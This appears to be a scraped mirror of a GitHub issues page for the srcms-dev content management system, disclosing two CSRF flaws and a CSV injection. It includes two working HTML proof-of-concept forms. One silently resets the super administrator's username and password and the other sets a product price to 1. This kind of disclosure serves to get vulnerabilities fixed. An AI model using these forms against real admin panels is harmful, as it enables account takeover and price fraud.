Giter Club home page Giter Club logo

srcms-dev's People

Contributors

martinzhou2015 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

srcms-dev's Issues

Two CSRF vulnerabilities that can change the super administrator's username,password and the prices of goods

When the super administrator logged in, there are two important POST methods without CSRF protection which can change his username,password and the prices of goods respectively. This can be achieved by cheating the super administrator to open the 2 pages when he logged in.

poc1(Change the username and the password)

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.10.21.66/srcms3/admin.php?m=Admin&c=manager&a=update" method="POST">
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="email" value="1&#64;123456qq&#46;com" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

poc2(Change the price of goods)

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.10.21.66/srcms3/admin.php?m=Admin&c=gifts&a=update" method="POST">
      <input type="hidden" name="title" value="iphonex" />
      <input type="hidden" name="url" value="&#46;&#47;Public&#47;Index&#47;img&#47;400x500&#47;03&#46;jpg" />
      <input type="hidden" name="price" value="1" />
      <input type="hidden" name="sort" value="graphic" />
      <input type="hidden" name="id" value="6" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

A CSV injection

1.user 'test' submit a report
image

2admin export report
image

3.open the report
image

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.